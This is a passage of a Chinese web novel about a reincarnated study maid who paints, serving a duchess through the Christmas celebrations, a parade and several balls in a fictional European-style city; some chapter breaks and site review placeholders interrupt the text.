“那当然了，拜阿…… [] “那当然了，拜阿斯城里所有的温泉每年都要重新绘制装饰画的。城里的画师多极了，不过，给温泉绘画的人很多，能画出这么大这么好的人很少。这是在帝国都很有名的绘画大师纳什尔·舍瓦利画的。听说，他只需要在夏天给银月温泉画上两、三幅，就能舒舒服服的过一年呢。” 伊薇不无羡慕的说道：“我家里还想让我弟弟去学习绘画呢，可惜学费太高了。” 爱洛听得两眼发光，需求大，频率高，门槛高，这么长坡厚雪的赛道，不正是为拥有技术的自己量身定做的吗？ 看到爱洛亮晶晶的眼神，伊薇不禁问了一句：“怎么？你也想学画画吗？”见她一副胸有成竹的模样，顿了一下，有点不相信，迟疑地说：“你不会是在跟坎贝尔夫人学画画吧？” 爱洛猛点头，激动的脑袋发晕。伊薇睁大了眼睛，说道：“坎贝尔夫人的绘画水平在夫人们里可是数一数二的。我听温泉的大管事拉福德说过，银月温泉的一位股东还曾经想跟坎贝尔夫人买画呢。” 额，这可能就是另外的故事了。爱洛只是追问：“那温泉每年修缮绘画，是直接找画师还是有专门的中间人呢？” “嗯，是有中间人。要想学画也是一样的，要有中间人介绍去画师家里做学徒。”伊薇也有点激动，话只说了半截：“你。。。” 爱洛重重的点了一下头，“我水平很高的，到时候你就知道了。” “好的。”伊薇大大的笑出来，“我会帮你留意的。”两个人拉了拉手，心照不宣的相视而笑。 伊薇站起身，给自己倒了杯茶，一口喝光，然后说道：“我先去干活了。你家的门房老约翰的姐姐，是我家一条街上的邻居。有什么消息我会找他带信的。你有什么事，也可以找他。” “好的。”伊薇理了理裙子，转身走了。爱洛静了下来，仔细地回想刚才的对话。冬季过后，坎贝尔夫人就会离开。自己明年的工作，看样子是有着落了。 爱洛一个人待着，吃了温泉提供的简单午餐，根本没人搭理她，什么活儿都没有，清闲地过了半下午。 夫人们从室内挪到室外，又从室外挪到室内，不知道交流了多少八卦，才意犹未尽的散了。 晚上回来，丽安的身体已经大为好转，是她头一天贪吃新送来的奶酪导致的，这让有些担心食品安全的米拉放心不少。 之后半个月，坎贝尔夫人又出门聚会了好几次，都是约根纳和丽安随行，爱洛没能再捞着长见识的机会，只是一门心思的在家里练习绘画。 这时候，她已经在有意识地练习之前不太重视的立体透视图了。看到了玫瑰画的大开大合，有了确定的目标激励，知道原理和方向，爱洛的进步非常大。 不过两、三个月的时间，自认为自己的绘画水平不仅恢复到了前世的高度，还在技法上有了很大的突破。拥有多年的绘画基础，见识过无数的绘画流派和风格，机缘巧合加上厚积薄发，让爱洛充满了自信。 的确，就连坎贝尔夫人看到爱洛最近的习作都时常震惊，常常默不作声的站在那里，一看就是小半天。有时候还问她：“你是怎么想到这样运笔的呢？是做梦想到的吗？” “呃，不是做梦想到的。是为了少洗一次画笔节省松节油，就每次都侧着落笔，最后平铺。。。”幸亏爱洛总能把自己的发挥解释的颇具地气，才让坎贝尔夫人打消了认为她是个不世出天才的想法。 日子就在忙碌中匆匆而过，圣诞庆典的前一天，拜阿斯城迎来了今冬的第一场大雪。 据米拉说，今年跟往年比起来，要格外冷。这几天房子里的壁炉一天到晚也不熄灭，还留了清洁女仆们住下，要等到开完新年舞会才恢复正常。 别墅里条件不错，女仆们还能拿到更多的薪水，大家都很乐意。圣诞来临，约根纳约了裁缝海蕾，给每个人都做了新衣服。所以，每个人的干劲都很足，连带爱洛手里的活计也轻松了不少。 说到圣诞庆典，当初去杂货街进货的莉莲就是为了这次的庆典在做准备。三个月一转眼就过去了。而距离爱洛上次回杂货街看贝林奶奶顺便交房租，已经快一个月了。 从圣诞节开始，直到新年后，坎贝尔夫人天天都很忙，期间家里还要开舞会，自己肯定不能休假，只有忙完这一段再找时间了。 一夜的鹅毛大雪，让原本温暖的拜阿斯城一下子静了下来。 明天上午，全城圣诞庆典正式开始。坎贝尔夫人要先去教堂参加祈福仪式，再到市政厅广场观看庆典巡游表演，晚上还要参加议会举办的圣诞舞会，活动行程很满。 身为书房女仆的爱洛，今天也不得不兼职服装助理，在夫人的卧室和衣帽间来回穿梭，跟着丽安忙的要飞起来。 要提前准备坎贝尔夫人明天穿的日常服，日礼服，晚礼服，配套的大衣，披风，保暖的披肩，手套，不同场合搭配的帽子，鞋子，首饰。。。 爱洛晕头转向，感觉要是真的成为这个时代的贵妇人，一天什么也干不了，就只是换衣服，一天时间就过去了，还得有两个以上的侍女帮忙。 而且，只准备坎贝尔夫人要换的衣服还不行。因为一整天都在外边，还要带上小憩的毯子，枕头，睡衣，睡鞋，洗脸的毛巾，擦脸的面霜，化妆品什么的。 爱洛平日里不干贴身女仆的活儿，也不知道要管理这么多东西，“丽安，你确定，我们要带这么多东西吗？”零碎的物品让她只想挠头。 丽安手里折着一沓子丝帕，嘴里说着：“当然了，你不知道这么冷的天在外面要用到多少东西，只有带少的，没有带多的。” 好在她只需要听丽安的安排就行，主要是去找出衣帽间对应的衣物，取下来叠好放在不同的 等待进入网审 等待进入网审 [] 天快黑的时候，院子传来一阵马车的声音，夹杂着隐隐约约的呼喊。 爱洛从厨房的窗户往外看去，透过朦胧的冰花玻璃，五辆马车依次停在楼前的台阶下。 一个头戴高顶黑色礼帽，身穿黑色粗呢长款大衣的男人从马车上下来，手中拿着一根镶嵌着象牙的硬木手杖，大约四十来岁的年纪，看不清面容。撑着伞的男管家亦步亦趋的跟在身边，直接往二层的门厅而来。 后面的马车上陆续下来四个穿着短款灰呢外衣的男仆，和车夫们一起，搬下一箱又一箱的行李，送进房子里。 爱洛趴在窗户上看的津津有味，默默地给行李箱计数，这个中年男人貌似就是坎贝尔先生了，他到底带了多少东西来？在火车上是单独定了货车车厢吗？ 米拉从背后轻轻拍了爱洛一下：“别看热闹了，快点去楼上帮忙。” 爱洛转身端起水杯，问道：“这位是坎贝尔公爵吧？” 米拉点点头说：“坎贝尔公爵每次来都会带很多礼物给夫人，要收拾好一会儿呢。哦，真希望晚上的大餐他不会太挑剔。” 听起来，不像是个好接触的人呀，自己还是别往前凑了。不知道贵族夫妻相处起来都是这样的，还是他俩是例外。说亲近吧，各自在不同的城市生活；说疏远吧，坎贝尔夫人提起来也不像是有恨意或者很陌生，就很自在随意。以爱洛前世今生对感情的认知，目前是理解不了。 反正，自己干好自己的活，不要过多的关注上流社会尤其是主人的私生活。要克制自己的好奇心，这是贝林曾经给自己的忠告，爱洛记得很清楚。毕竟，好奇心可能会推动科学进步，也可能毁灭小人物。 没过一会儿，丽安就下楼来，找爱洛一起去收拾东西。最近几天，打扫整理的活都由清洁女仆们接过去了，书房也没太多的事情，丽安就心安理得的使唤爱洛，自认为是给机会让她更快的提升自己，贴身女仆可是比书房女仆更高一级的存在。 爱洛无可奈何地跟着上了楼，丽安不是个坏心眼的姑娘，还挺照顾她的。可惜自己志不在此，没有什么钻研的动力。好在审美方面有点优势，时常能为服饰搭配提点小建议，也因此，丽安就更看好她了。 到了二楼客厅，丽安带着爱洛收拾刚刚堆在地板的箱子，一一打开，把里面的东西拿出来分类摆在沙发上等着主人过目挑选。 坎贝尔公爵这会儿和夫人在餐厅里，一边喝茶一边讲述着这几天的遭遇。 “火车就停在山谷中间，说是雪太大了把铁轨冻住了。周边也没有村庄，找人都找不到。就只好把蒸汽炉里的水提出来一点点的浇化，各家带的仆人挨个去帮忙，折腾了一晚上，才走了那么点路。”坎贝尔公爵摇摇头。 “那么长的铁轨，不可能一直那样浇热水化冻吧？”坎贝尔夫人喝了一口沁香的红茶，问道。 “出了山谷天就亮了，列车长带人去最近的镇子上找了人，借了工具，又雇了些村民，才通过那段路。这刚放晴没两天，又下雪了。还好今天已经到了，从兰敦走的比我晚的人，肯定是赶不上明天的庆典了。” “今年怎么走的这么晚？比往年晚了一个多礼拜呢。” “还不是为了明年议会选举的事，各家都在使劲，宴会多的安排不过来，可不就得晚出发吗？”坎贝尔公爵也挺累，但不去也不行，谁知道哪个宴会就碰到下一届的议长了呢？提前打过招呼跟完全没说过话，以后可是两种待遇。 “我在这里也不得闲，什么宴会都能跟这个拉上关系。”夫人跟公爵交流着最近的时局消息，猜测谁会是胜利者。 这些事儿说的差不多了，坎贝尔公爵站起来道：“卡罗琳，来看看我带给你的礼物吧。” 坎贝尔夫人起身，懒洋洋地走到沙发跟前，环视了摆满了帽子，衣服，鞋子和香水的客厅，轻轻一笑：“你的眼光我还是信的过的，让女人更漂亮可是你的专长呢。” 坎贝尔公爵露出笑容，对坎贝尔夫人这句暗藏玄机的话照单全收：“我还带了一件从法尔西帝国送来的最新款狐狸皮大衣，明天大部分时间都在户外，你穿起来肯定又好看又暖和。” 两人正说着话，约根纳从一楼上来，站在楼梯口等着。坎贝尔夫人抬头看了一眼墙上的时钟，说道：“不早了，你去楼上换衣服，准备吃晚饭吧。” 约根纳公爵摸了摸唇边的胡子，转身上了三楼，一直立在壁炉边隐身的两个男仆见状，也紧跟着上去。 坎贝尔夫人跟丽安说：“把大衣找出来熨一下，其他的都收起来吧。” “好的，夫人。”丽安加紧手里的动作，示意爱洛也快点。爱洛一边收拾帽子香水，一边嘀咕：“这么美的衣服看都不看，更不用说试了，看起来不怎么讨夫人喜欢啊。”被丽安听见，警告地瞪了她一下，吓得爱洛立马闭嘴。 等爱洛和丽安安顿好这几大箱衣物从三楼下来时，公爵和夫人的晚餐已经接近尾声。平安夜的正式晚餐是由公爵带来的男管家阿兰恩亲自上菜。爱洛偷瞄了一眼，约根纳站在夫人身后，没听到什么不合口的评价，米拉应该能够松一口气了。 两人轻声轻脚地回到一楼餐厅，舒了一口气，家里多了男主人，氛围都不一样了。 住的地方也要挪动，约根纳和丽安得把阁楼让出来给新来的男仆们住。这样，两人就要暂时搬到一楼来，等他们走了再住回去。好在房子设计的时候考虑周到，即便还留着清洁女仆住宿，房间也是不缺的。 今天，仆人们的晚餐丰盛且喧扰。公爵带来的管家男仆，把餐桌挤得满满的。阿兰恩和约根纳聊着明天的安排，男仆们争先恐后地讲述路上的遭遇，和女仆们交流着各种消息。 爱洛很久没吃过这么热闹的饭了，听着兰敦来的仆人们 城中庆典1 坎贝尔公爵早…… [] 坎贝尔公爵早已打理完毕，穿着很正式的肩花男士礼服，正在餐厅喝咖啡。见坎贝尔夫人下楼来了，放下手中的杯子说道：“时间刚刚好，走吧。” 出门的时候，雪早就停了。若隐若现的月亮依然挂在天边，沁凉的晨曦被人和马的呼吸打断，透出阵阵白雾。 院子里停了三辆铺着地毯的钢架马车，除了坎贝尔夫妇乘坐一辆车之外，女管家带两个女仆，男管家带两个男仆。大家各司其职，互不打扰。 上了车，约根纳嘱咐爱洛:“你要么跟着丽安，要么跟着我，尽量不要一个人待着。今天去的人会非常多，比较乱，很容易走丢。” 爱洛捏了捏手指，点点头。朝着玻璃车门外看去，不多的行人缩头缩脑地走在积雪未化的路边，帽子压得低低的，看不清长相。 想来，参加庆典的人们肯定都穿着相似的礼服，到时候用围巾遮住半个口鼻，远看近看都很难分辨。 满打满算，穿上鞋，自己现在也就4.6英尺高，差不多1米4左右。站在庆典的人堆里，都看不见脑袋，这要是走散了，确实是不好找。 裹紧了身上的披风，拿风帽遮住脑袋，爱洛靠在包着软布的厢壁上昏昏欲睡。很久之后，马车才停下，到了城市的核心地带，斯威特大教堂前的大理石广场。 寒风中，四方汇集而来的马车挤满了广场一半的位置，正在排队等候，要驶上教堂门口的斜坡石阶。 磨磨蹭蹭的好半天，车门才从外面被侍者打开，爱洛双脚踩在光洁的白色石板上，站在一根巍峨高大的石柱前。 在她后面下车的约根纳和丽安，已经快步走向前面坎贝尔夫妇的马车。爱洛没再到处打量，赶紧跟着走过去。 坎贝尔公爵先下来，然后伸出手，扶着坎贝尔夫人下车，等她站稳，挽住自己的手臂，两人昂首并排向教堂内部走去。路上遇到熟悉的人，都只是点头示意，并不交谈。 众人快步走进教堂，温度一下子就上来了。仆人们在进门处被引到二楼坐下。坎贝尔夫妇则是跟着侍者，穿过铺着红色绣十字花地毯的过道，到前排坐下。 直接上了二楼的爱洛，坐在一个不起眼的角落里，从上到下地观察着这座城内最大的教堂。 据说，还没有拜阿斯城的时候，就有这座教堂了。随着城市的发展，百多年过去，几经拆建，斯威特教堂的规模越来越大，装饰也越来越豪华。 往上看，弧形屋顶上的巨幅宗教画，晶莹剔透的五色玻璃窗，巨大空间内垂吊的飘飘彩旗；往前看，圣坛上摆放的花束鲜艳夺目。高大的圣像下站着一排身着白色长袍的教士，手捧圣经等待仪式开始。 座位渐渐被占满，人们聊天的声音低了下去，一阵悠扬的歌声响起，荡起空灵的回想，仪式正式开始了。 教堂的庆典仪式主要包括以神灵保佑为题的主教演讲，所有人共同参与的祈祷，以及唱诗班唱歌等流程。 一开始，爱洛看得还挺起劲，就和看大型真人版欧洲古代实景演出一样。服装，道具，台词，哦不，语言，都是那么得似真似幻。 没一会儿，暖风夹杂着低吟，就让她昏昏欲睡。早上起的太早了，她还是个孩子呢。 “啪啪啪”的一阵掌声，迷迷瞪瞪的爱洛被惊醒了。睁大眼睛一抬头，周围的人全都已经站起来了。 见她清醒了，丽安缩回正要推她的手，笑得露出好几颗牙齿：“爱洛，这么盛大美好的仪式，你居然还能睡着，很多人一辈子也参加不了几次。”摇头道：“我们该下去了。” “这种演出我在网上看得多了，还是高清版多视角的近镜头。”爱洛心里的嘀咕谁也听不见，跟着周围的人们下楼，去门口等候自己的主人。 等坎贝尔夫妇出来，各自上车。这会儿是去酒店休息，到时间才去市政大厅的阳台看花车演出巡游。 早已预定好的凯特尔酒店，同样位于城市中心位置，就在市政大厅的隔壁，这回马车很快就到了。 坎贝尔夫人的房间，是酒店三层的一个临街大套房。推开落地门有一个不小的阳台，站在那里，街道的景色一览无余，绝对是个看巡游表演的贵宾席。 套房除了主卧，还有三个带盥洗室的小房间，这是为随行客人的仆从们准备的。 坎贝尔公爵订了隔壁的套房，会有很多朋友来拜访他，男人们抽烟喝酒聊天，单独的空间大家都更方便。 坎贝尔夫人进门后，脱下那件毛茸茸的狐狸皮大衣，半躺着沙发上休息。 约根纳倒着茶，对丽安说道：“把那套紫红色高领波点日常服找出来，还有那顶黑色貂皮帽。一会儿要在在外面站好久，可不能吹着了。” 丽安带着爱洛，就去放在卧室的箱子里翻找衣服和配饰。 坎贝尔夫人吩咐道：“午饭安排点热乎乎的汤和肉饼吧。市政大厅的午餐可没什么好吃的。” 约根纳迟疑了一下，问道：“不在那边吃午餐，那公爵大人那边？” “不用管他。看完巡游我就回来，他会自己去找市长大人谈话的。今年市长夫人的火车被冰雪阻在了半路，还没到呢。呵呵，大家能轻松点，中午不用应酬了。”坎贝尔夫人打了个小呵欠，交代道。 接下来，坎贝尔夫人去了盥洗室，喝了热乎乎的红茶茶，吃了酥皮小点心，看起来休息的差不多了，丽安和爱洛两个人，才把刚找出来的裙子举起来，配合着约根纳给坎贝尔夫人换上。 坎贝尔夫人把貂皮帽拿在手里，对着穿衣镜，比来比去，确认自己的妆容没问题，裙子也都平整，开口道：“约根纳跟着我，你们两个就不用去了，盯着午餐。今天人多，餐厅未必能准时。” 爱洛好开心，侧过头强压着笑容，麻利地收拾着屋里散乱的衣物，丽安则是连声应下。去市政大厅，她们也只能在楼下等。在酒店待着，又舒服又暖和。最重要的，是能够享用角度绝佳的独立阳台，在VIP位看表演，啊啊啊，真棒啊！ 爱洛一边干活一边听坎贝尔夫人说话，正一心二用忙得不可开交时，“叩叩”，不大的敲门声，是坎贝尔公爵：“卡罗琳，你好了么？我们要出发了。” “来了，”坎贝尔夫人答 第32章 城中庆典2 “时间刚刚好。”爱洛站在…… [] “时间刚刚好。”爱洛站在丽安的身边说道。 巡游的队伍从门前的蓝月花大街经过，一路向东，顺着月亮河绕行大半个城，再回到大教堂门口的广场结束。 乐队的鼓声“砰砰砰”地由远及近，鼓手们排列整齐，穿着红白相间的制服，身上挂着五颜六色的绶带，帽子上的缨穗随着手势左右跳动。后面跟着的乐手背着风琴，边走边弹，引来观众阵阵欢呼。 女性舞者，穿着丝绸舞鞋，裹在身上的翠绿色薄纱长裙被风带起，露出光溜溜的小腿，好像没有被寒风影响到热情，个个脸上洋溢着笑容，朝着街道两边不停的挥动着手里的花束。 男性舞者都带着金色面具，半露胳膊举着长剑，他们在街道上只是向前走，要等到市政广场前才会停下来跳战舞。 紧接着出现的一长溜彩车让道路两侧发出了更大惊呼声，马车都用鲜花包裹着，看不出原有的模样。穿着五颜六色漂亮衣裙的演员们站在车顶上挥手，还不时地拔下装饰马车用的鲜花扔向人群，引来人们的抢夺，带起阵阵骚动。 爱洛一会儿看楼下经过了什么花车，一会儿又看远处还有什么表演要过来，觉得街面上的热闹都看不过来了，不停的跟丽安交流看法：“那边，那边扔了一大捧红玫瑰，好贵的。” “哈哈，看来是不留神拽掉了一大把，马车那一块都秃了。” “真是疯了，有人要被挤倒了。” 。。。。。。 两个人看得兴高采烈，完全没注意到时间的流逝。等街上的巡游花车不再出现，人们也都三三两两的散去，才发现手脚都要冻僵了。 嘻嘻哈哈地回到屋子里，热气让爱洛不由自主地打了好几个喷嚏，“快点喝红茶，多加点糖。”丽安拉铃让酒店侍从送茶进来，又问餐厅的午餐准备的怎么样了，提醒说坎贝尔夫人随时都会回来，必须上刚出炉的肉饼什么的。 一阵忙乱，爱洛才把自己身上的外衣脱掉，正要坐下，就听见门被推开的声音，抬头一看，坎贝尔夫人和约根纳用大围巾捂着口鼻走了进来。 “快给我来杯热茶，今天可太冷了。”坎贝尔夫人一下子坐在软软的沙发上，手指都不想动了：“往年可没这么透骨的风，吹得我头疼。” 丽安把刚送上来的热茶倒进描金花卉的茶杯里，递到坎贝尔夫人的手边，爱洛也很有眼力劲儿地端了一杯茶给约根纳。 市政大厦正对着空旷的广场，显然风会更硬一些。人很多，不可能都有独立的休息室，舒适度肯定比不上她俩的。 不过，她俩也看不到据说非常精彩的舞蹈表演就是了。总之，对于能够在酒店阳台看到绝大部分的巡游表演，爱洛还是非常满意的。 休息了好一会儿，坎贝尔夫人才缓过劲儿，起身把礼服换成舒适的家居服，又打理了一下自己，拆掉了头上的饰品，洗了脸，重新涂了护肤露，才让约根纳通知开饭。 酒店的午餐有六道菜，但可能是累着了，坎贝尔夫人的胃口不算太好，喝了一碗汤，也没吃什么主食，就回卧室休息了。 等丽安安顿好她从卧室出来，三个人才轻手轻脚的吃完午餐，回各自的房间。这个大套房，预订的时候就考虑到带的三个小间，正好适合她们仨。 爱洛漱完口，换上拖鞋，合衣躺着小床上，想着刚才约根纳说，已经安排马车去接凯拉，要为晚上的舞会做发型。不知道她什么时候会到，没敢睡得太实，就迷迷瞪瞪地等着。 早上起的太早了，房子里又暖和，吃饱喝足的爱洛虽说自认为精神力强大，但还是要遵重生理规律，到头来，依然是没能抗住睡神的召唤。黑甜一觉，直到小屋外边有动静才猛然醒来。 仔细听了一下，是约根纳的声音，还好，不是坎贝尔夫人在说话。看来女管家统筹今天的行程，没敢真的休息，才能第一时间就出现在客厅里。 下床洗了把脸，把头发重新梳了一下，爱洛轻手轻脚走进客厅，凯拉正坐在餐厅的椅子上等着。她看见爱洛出来，笑了一下。爱洛微笑回应，走到丽安休息的房间门口，“叩叩”，敲了两下，又转身在约根纳身旁的椅子上坐下等着。 很快，丽安拽着裙子走出来，脸上还有压出的印儿，见大家都在，不好意思的笑了笑。拎起茶壶给大家一人倒一杯，问道：“夫人快起了吧。” 约根纳端起茶杯，说道：“嗯，再过五分钟就进去，吃点东西然后梳头，再晚就来不及了。” 话音刚落，房间内有了声响。约根纳和丽安一起站起来，快步进了卧室，服侍坎贝尔夫人换衣服，凯拉拎着一个装着盘发工具的小箱子，去了客厅边的小起居间。 这里摆着一面落地穿衣镜，几把半靠背的圆椅，正好坐在这里梳妆。 坎贝尔夫人起床后，先去小餐厅吃了茶点，漱了口才过来。这会儿凯拉和丽安已经和早上一样，摆开了架势，一桌子的瓶瓶罐罐，为晚上的舞会梳妆。 “跟明星参加活动似的。嗯，其实也差不多。”爱洛站在边上打下手，传话递东西。 坎贝尔夫人要求凯拉给盘个云顶发，是一种很复杂的，类似道髻带有花苞的发型。晚上要跳舞，过于休闲或者隆重都不合适。 凯拉很了解坎贝尔夫人的要求，盘好后，给她戴上亮闪闪的钻石发冠和同款的额饰，本来有点单调的发型一下子就显得非常饱满立体，光彩夺目起来。 穿上外罩纱裙的孔雀蓝色天鹅绒低胸舞裙，绣着银线的同色缎面舞鞋，美妙的身材一览无余，衬得整个人都在发光。 配色大胆的绿色眼影和正红唇膏，让她的脸部轮廓格外精致，双眼愈发迷人，白天气场强大的感觉没有了，多了一份骨子里散发出来的柔媚和热情。 站在镜子面前，把裙子的最后一片褶皱拉平，坎贝尔夫人转了一圈，笑着说道：“可以了。” 又扫了一眼两个女仆的发型，嫌弃地说：“你们去找凯拉给梳一下头，去了舞会可别让有些人嘲笑。” 丽安和爱洛对望了一眼，吐了吐舌头。凯拉笑呵呵地拿出梳子，先把丽安的辫子拆开，给她梳了个适合她脸型的双股长辫，前额处用丝带绕出一束马尾横着 第33章 绯闻 舒缓的乐曲一支接一…… [] 舒缓的乐曲一支接一支的演奏，舞池中的宾客们一圈又一圈的转着，身影交错忽隐忽现，不大会儿，两人眼里失去了坎贝尔夫人的踪迹。 “这怎么办？”爱洛问丽安。丽安也不知所措，眼睛四下里张望着，到处找人，怎么也看不到熟悉的衣裙，就连约根纳也不知道所踪。 “要不，我们去后面小会客室的走廊等着吧。”爱洛出主意：“跳累了要休息的话，都得去那边，总比我们现在这个位置强。” 丽安想了想，如果有事需要她们，无论是去盥洗室还是补妆，都得要在里面才能办。就点点头，两个人顺着墙边，穿过落地窗帘，向后方的走廊跑去。 “哎呀，”低头跟在丽安后面的爱洛，小小的个子，没留神就撞到了一个紧贴着窗户的人身上。一股清冽的味道扑鼻而来，一抬眼，先是一片鲜红的颜色，感觉硬硬的，哪位夫人的红裙用这么硬的材质啊？ 爱洛继续仰头，棱角分明的下巴，深目高鼻，是张少年的脸。那双蓝的发黑的眼睛藏着怒火，梳得一丝不苟的褐色头发贴着头皮，亮晶晶的直晃眼。显然，高个儿少年躲在窗帘后面，是不想参加大厅的舞会，也没办法离开，正躲在这里生气。 白皙的美少年穿了件红色缎面暗花的礼服，白色丝绸的裤子，像神话中下凡的幼年天神一样炫目。筋骨挺拔的身体本就充满了别扭，现在还被不知道从哪里钻出来的小女仆撞了个正着，要当是谁要找他麻烦，故意让他出丑，那这蹭噌上涨的怒气值自己可扛不住。 “得快点溜，”爱洛想通这一点，拎起裙角，小嘴没闲着：“对不起，没想到帘子后面有人，打扰了。”一边赶紧往前冲，再耽误一会儿，连丽安都找不见了。 “站住，谁让你来撞我的？”嗓音有些沙哑，爱洛一个趔趄，被抓住了胳膊，收势不及差点没摔了，退后找平衡的脚又踩在了红衣少年锃亮鳄鱼皮鞋尖上，气得他手里的力气更大了。 “不是，不是谁让我来的，我要找我们夫人，都不见了。”眼看丽安的裙角消失了，爱洛急了，人这么多，真要走散了，可没有什么广播找人，只能傻等了。 红衣少年没松手，硬拖着爱洛走了几步，转到一根柱子后面，见她挣扎的厉害，才松开手说道：“我不管你是谁派来的，就告诉这个人，别来烦我。” 爱洛抚了一下自己被抓过的胳膊，这小子劲儿挺大的，肯定青了。不过，鉴于是自己没看路先撞了别人，就不跟他计较了。 嗯，主要是看人家这身非富即贵的打扮，目下无人的神态，肯定是个惹不起的主儿。 “好的，少爷。”爱洛低着头，乖巧的答应着。 见这个小女仆没什么多余的后续动作，也没引起别人的注意，红衣少年挥挥手，把她像云彩一样打发了。 爱洛退后几步，转身就朝走廊奔去，不知道丽安能不能在说好的地方等她，要是再被叫走了，那可就糟了。 好在没再出什么状况，进了走廊没走多远，就看见丽安和约根纳正站在小会客室门外的墙边低声说话。 爱洛出了一口气，赶着几步走上前，喘息着说道：“我差点以为自己要丢了呢。” 约根纳看她这幅跑得满脸通红的鬼样子，笑着说：“没关系，实在找不到，就去问门口的侍从，他们知道各家的马车什么时候过来。” 丽安嗔怪地瞪了爱洛两眼，嘴里嘟囔着：“就这几步路你都跟不上，以后可怎么办呀。” “嘿嘿，”爱洛不好意思的低下头，没敢提自己撞人的事。看那个少年的模样，也不像是个多事的人，就安静地待在走廊边上，等着舞会结束。 音乐渐停，人们从舞池中散开，三三两两的走到吧台处休息。接下来会有另外一支乐队上场，演奏欢快的康康舞曲。 坎贝尔夫人挽着一位年轻英俊的绅士，不知道从哪里冒出来的，缓步走进小会客室。两个人满脸笑容，不时地微笑对视，侍者送上香槟，各自拿了一杯后，就找个角落愉快地窃窃私语起来。 爱洛看了好几眼，确认没认错人，就问丽安：“可算找到了，我们要不要靠近听吩咐？” 丽安却并没有听到她在说什么，而是瞪大眼睛，不敢置信地盯着年轻绅士，嘴巴微张，一副被雷劈过的模样。 爱洛被她丢脸的傻样惊呆了，差点拿出手帕堵住她的嘴，生怕被来往的人们注意到。直到约根纳在旁边咳了一声，她才回过神。 丽安这才看见约根纳和爱洛都目光炯炯地盯着她，擦过粉的脸刷的红了，说话竟然有些结巴：“我，嗯，我没注意。。” 约根纳沉声道：“去吃东西。一会儿在大厅正门左侧的第二根柱子那里等着。” “是。”丽安和爱洛赶紧屈膝，转身离开去了隔壁的餐厅。走出了约根纳的视线范围，丽安拍了拍胸口，拉着爱洛到了给仆人提供餐食的地方。 见这里到处都是聊天的人，就没说话，只是示意爱洛跟她一起，拿了两盘裱花蛋糕和两杯冰葡萄酒，左看右看，找了个昏暗人少的背风处，靠墙坐在长凳上休息。 一口起喝了半杯冰冷的葡萄酒，丽安才长长的出了口气，奇奇怪怪的对爱洛说:“额，我，嗯，我简直太惊讶了。要喝杯酒压压。” 爱洛笑嘻嘻地问她：“怎么了？夫人不过是跟其他男士跳个舞而已，没必要这么震惊吧？” “你不懂，”丽安前后看了一眼，确认周围没什么人，神秘兮兮地压低声音说道：“那可是赛拉斯·霍华德伯爵大人。” “那又怎么样，今晚来的公爵也不少，又不是国王来了。”爱洛凭借自己积累的三脚猫贵族等级服饰认知，反驳道。 丽安像是不知道怎么回答，停了半晌，才说：“不一样的啊。就是，嗯，夫人和伯爵大人，一起去旅行西塞亚帝国旅行过，不过我没跟着去。他还是银月温泉的股东，对夫人的画作非常欣赏。 第34章 坎贝尔家的舞会 坎贝尔…… [] 坎贝尔公爵家固定的社交活动包括每年冬季在拜阿斯城开一、两次规模不大的舞会。今年的大雪天气让很多人都未能在庆典前赶到，昨天又耽误了一天，邀请函到这个时候了还没完全定下。 换了身日常服的坎贝尔公爵吃过简单的午餐，就去客厅跟坎贝尔夫人一起忙着宾客名单的事。 讨论来讨论去，终于在晚餐前安排好了一切，今晚开始送邀请函，这样才能在赶得上两日后的舞会。 之后的两天时间里，所有人都忙的天昏地暗，爱洛和丽安也就没机会再交流坎贝尔夫人与伯爵之间的故事。 按照惯例，坎贝尔家在拜阿斯城的舞会是由专门的服务商行来运作的，家中的男女仆人只需要跟在主人身边随时传话就好了，本身不会有太具体的活要干。 但是，爱洛伊丝·加西亚·泰勒做为坎贝尔夫人非常欣赏且大力栽培的书房女仆，今年需要她单独负责书房的画作管理。 是的，没错。就是类似于上次在银月温泉的画作品鉴会的工作。 坎贝尔夫人基于各种考量，从那里提前撤走了自己的得意之作，心中不是没有遗憾。 自己家中开舞会，是天然的，能让她尽情展示自己作品绝佳场所，而不用被一堆莫名其妙的人评价或者嘲讽。 请来的宾客都是熟悉且交好的人，才能好好的讲述自己创作的心路历程和情感投射。 画作摆放位置什么的不用爱洛操心，她的主要工作内容就是一直待在书房里，为没有被主人陪同而来的客人介绍画作的内容，背景，技法等等，可以理解成低配版的展厅讲解员。 就爱洛自身来说，她是很愿意在书房里待着的。她对这里更熟悉且有经验，给宾客介绍画作是件轻松的活。 真让她去坎贝尔夫人身边待着，听起来很风光，但很可能把事情搞砸。夫人小姐没几个认识的，很多人看起来长得都差不多。就算是传个话，也对不上人呐。 所以，坎贝尔夫人真的是火眼金睛，能让每个人都待在合适的位置，是上位者一项非常重要的能力。 难怪她不但能够管理自己的产业，重要时刻让坎贝尔公爵不会缺席，平时还能生活的轻松惬意。 领到了单独的工作，爱洛大部分时候就待在书房，把坎贝尔夫人要展示的七、八幅画挨个清理一遍。 还在心里琢磨，如果有人要问，会是什么问题，自己怎么回答才得体不突兀。以现在的这个身份来做画作的介绍人，对她来说也是从未有过的新鲜经历。 到了宴客的这天，两日前的大雪早就停了。树上依然是白皑皑的一片，城中的石板路大都已经被清扫干净，不会影响马车的出行。 下午两点多，宾客们就陆续的抵达。舞会虽然被安排在了晚上，但今年很多客人晚到，没赶上庆典，都急切地要参加城里的社交活动。所以白天也安排了好几场沙龙活动，以便客人们找机会尽情的交流。 爱洛从吃完早餐就待在书房，午餐都没下去吃，还是丽安让厨房帮忙的女仆给送上来的。来的人多，做为坎贝尔夫人今日社交活动的重点内容之一，画作展示不容有失。 吃过午饭没一会儿，第一批客人就喧嚣着走了进来，爱洛在墙边立着，仔细地辨认了一番，是罗素夫人和几位眼熟的女士，这是捧场的亲友团。 坎贝尔儿夫人带着她们挨个看了画，聊了那天的鉴赏会，才一起去会客室喝茶。 接下来，不停地有人进来，有时是坎贝尔夫人陪着一起，就不需要爱洛做什么，听着就行；有时是男管家阿兰恩或者女管家约根纳带进来的，有疑问，爱洛就会回答一下；还有些人会自己进来，书房就自己接待参观者的时候，爱洛就会比较注意，免得发生什么意外。 好在一切顺利，晚间舞会开场的时候，人们就基本不会到书房来了。爱洛听到乐曲声，这才舒了一口气，坐在沙发背后的地上，吃着女仆送来的夹奶酪面包，不时喝几口咖啡。一下午，话说的不多，但精神比较紧张。 听着送餐的女仆跟她形容舞会现场的绚烂美丽，乐曲欢快，人们热情奔放，十分为她不能亲眼所见而遗憾，爱洛皱了一下鼻子，心里放松下来。 